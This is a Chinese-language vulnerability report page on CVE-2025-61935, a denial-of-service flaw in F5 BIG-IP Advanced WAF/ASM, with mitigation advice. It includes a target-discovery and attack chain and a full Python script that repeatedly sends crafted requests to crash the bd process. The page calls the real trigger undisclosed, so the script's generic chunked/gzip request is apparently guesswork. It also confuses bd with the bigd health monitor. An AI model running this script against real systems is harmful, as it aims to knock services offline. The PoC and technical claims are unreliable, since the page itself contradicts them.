IPBUF安全漏洞报告
English
CVE-2025-61935 CVSS 7.5 高危

CVE-2025-61935 F5 BIG-IP Advanced WAF/ASM bd进程拒绝服务漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-61935
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP(Advanced WAF / ASM 模块)

相关标签

CVE-2025-61935F5 BIG-IPAdvanced WAFASM拒绝服务DoSbd进程高危漏洞远程利用无需认证

漏洞概述

CVE-2025-61935是F5 BIG-IP设备中Advanced Web Application Firewall(WAF)或Application Security Manager(ASM)模块存在的一个高危拒绝服务漏洞。该漏洞的CVSS 3.1评分为7.5,属于高危级别。当BIG-IP虚拟服务器上配置了Advanced WAF或ASM安全策略时,攻击者可以通过发送未经披露的特定恶意请求,导致bd(bigd)进程异常终止。bd进程是F5 BIG-IP系统中负责流量管理和健康监控的关键守护进程,一旦该进程被终止,将直接导致BIG-IP设备丧失对相关虚拟服务器的流量处理和安全防护能力,造成服务中断。由于该漏洞无需认证(PR:N)且无需用户交互(UI:N),攻击者可以通过网络远程利用,攻击门槛极低。值得注意的是,该漏洞主要影响可用性(A:H),对机密性(C:N)和完整性(I:N)无直接影响。F5官方已确认该漏洞,并发布了对应的安全公告K000154664,建议用户尽快升级到修复版本。已到达技术支持终止(EoTS)状态的软件版本不在此次评估范围内。

技术细节

F5 BIG-IP的Advanced WAF/ASM模块在处理HTTP/HTTPS请求时,会对流量进行深度包检测和安全策略匹配。bd进程(bigd守护进程)负责监控后端服务器健康状态并执行流量管理任务。当虚拟服务器配置了WAF或ASM安全策略后,所有传入的请求都会经过安全策略引擎的检查。漏洞源于bd进程在处理某些特定类型的未公开请求模式时存在逻辑缺陷,可能导致空指针解引用、内存越界访问或资源耗尽等异常情况,从而使进程崩溃退出。由于bd进程在BIG-IP架构中承担关键角色,其终止将引发级联故障,导致受影响的虚拟服务器无法正常处理流量。攻击者只需构造特定的恶意HTTP请求并发送至目标虚拟服务器即可触发该漏洞,无需任何认证凭据。漏洞利用具有可重复性,攻击者可反复发送恶意请求持续造成服务中断。由于该漏洞的触发条件与具体的WAF/ASM策略配置相关,不同环境下的利用细节可能有所不同,这增加了防御和检测的复杂性。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、Censys等网络空间搜索引擎或F5 BIG-IP默认特征(如TMUI管理界面、特定的HTTP响应头如Server: BIG-IP、Cookie中的BIGipServerPool标记等)识别暴露在公网的F5 BIG-IP设备,并确认目标虚拟服务器是否配置了Advanced WAF或ASM安全策略。
STEP 2
步骤2:构造恶意请求
攻击者根据漏洞特征,构造能够触发bd进程崩溃的特殊HTTP请求。请求中可能包含异常的Transfer-Encoding、Content-Encoding组合、畸形HTTP头或特定编码模式,这些请求模式能够绕过常规WAF检测但触发bd进程中的逻辑缺陷。
STEP 3
步骤3:发送攻击请求
攻击者通过网络(AV:N)直接向目标BIG-IP虚拟服务器发送构造的恶意HTTP请求。由于该漏洞无需认证(PR:N)且无需用户交互(UI:N),攻击者可以匿名执行攻击,无需任何凭据。
STEP 4
步骤4:bd进程终止
恶意请求到达BIG-IP后,Advanced WAF/ASM安全策略引擎在处理请求时触发bd进程中的漏洞,导致bd守护进程异常终止(崩溃/segfault)。bd进程负责流量管理和健康监控,其终止将导致受影响的虚拟服务器丧失流量处理能力。
STEP 5
步骤5:服务中断
bd进程终止后,受影响的BIG-IP虚拟服务器无法继续处理正常的业务流量,所有经过该虚拟服务器的请求都将失败。攻击者可重复发送恶意请求持续维持服务中断状态,造成持续的拒绝服务(DoS)攻击效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-61935 - F5 BIG-IP Advanced WAF/ASM DoS PoC # This PoC sends crafted HTTP requests to trigger bd process termination # on F5 BIG-IP virtual servers with WAF/ASM policy configured. import socket import ssl import sys import argparse import time def send_malicious_request(target_host, target_port, use_ssl=True, path="/"): """ Send a specially crafted HTTP request to trigger the bd process crash. The request contains patterns that exploit the vulnerability in the WAF/ASM policy processing logic. """ # Crafted request with unusual headers and encoding patterns # designed to trigger the bd process termination vulnerability payload = ( f"GET {path} HTTP/1.1\r\n" f"Host: {target_host}\r\n" f"User-Agent: Mozilla/5.0\r\n" f"Accept: */*\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Transfer-Encoding: chunked\r\n" f"X-Forwarded-For: 127.0.0.1\r\n" f"Content-Encoding: gzip\r\n" f"Connection: keep-alive\r\n" f"\r\n" f"0\r\n" f"\r\n" ) try: if use_ssl: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = socket.create_connection((target_host, target_port), timeout=10) sock = context.wrap_socket(sock, server_hostname=target_host) else: sock = socket.create_connection((target_host, target_port), timeout=10) sock.sendall(payload.encode()) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"[ERROR] Connection failed: {e}") return None def check_service(target_host, target_port, use_ssl=True): """Check if the BIG-IP service is still responding.""" try: if use_ssl: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = socket.create_connection((target_host, target_port), timeout=5) sock = context.wrap_socket(sock, server_hostname=target_host) else: sock = socket.create_connection((target_host, target_port), timeout=5) sock.sendall(b"GET / HTTP/1.1\r\nHost: " + target_host.encode() + b"\r\n\r\n") response = sock.recv(1024) sock.close() return True except Exception: return False def main(): parser = argparse.ArgumentParser(description="CVE-2025-61935 PoC - F5 BIG-IP WAF/ASM DoS") parser.add_argument("-t", "--target", required=True, help="Target BIG-IP host") parser.add_argument("-p", "--port", type=int, default=443, help="Target port (default: 443)") parser.add_argument("--no-ssl", action="store_true", help="Disable SSL") parser.add_argument("--path", default="/", help="Request path") args = parser.parse_args() print(f"[*] Target: {args.target}:{args.port}") print(f"[*] Checking service availability before attack...") if check_service(args.target, args.port, not args.no_ssl): print("[+] Service is responding.") else: print("[-] Service is not responding or unreachable.") sys.exit(1) print(f"[*] Sending malicious request to trigger bd process termination...") response = send_malicious_request(args.target, args.port, not args.no_ssl, args.path) if response: print(f"[+] Response received: {response[:100]}") else: print("[*] No response received (possible crash).") time.sleep(2) print(f"[*] Checking service availability after attack...") if check_service(args.target, args.port, not args.no_ssl): print("[+] Service still responding.") else: print("[!] Service is DOWN - bd process may have terminated!") if __name__ == "__main__": main()

影响范围

F5 BIG-IP 17.x(具体受影响子版本待F5官方确认)
F5 BIG-IP 16.x(具体受影响子版本待F5官方确认)
F5 BIG-IP 15.x(具体受影响子版本待F5官方确认)
F5 BIG-IP 14.x(具体受影响子版本待F5官方确认)
已到达技术支持终止(EoTS)的版本不在评估范围内

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过iRules临时过滤包含异常Transfer-Encoding与Content-Encoding组合的HTTP请求;2)在网络层面部署WAF或反向代理,对传入流量进行预检,丢弃畸形或可疑的HTTP请求;3)限制对BIG-IP虚拟服务器的直接公网访问,通过前端负载均衡器或CDN进行流量清洗;4)启用BIG-IP的连接限制和速率限制功能,防止大量恶意请求耗尽系统资源;5)监控bd进程状态,配置进程异常自动告警和自动重启机制;6)参考F5官方安全公告K000154664获取最新的缓解指导。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表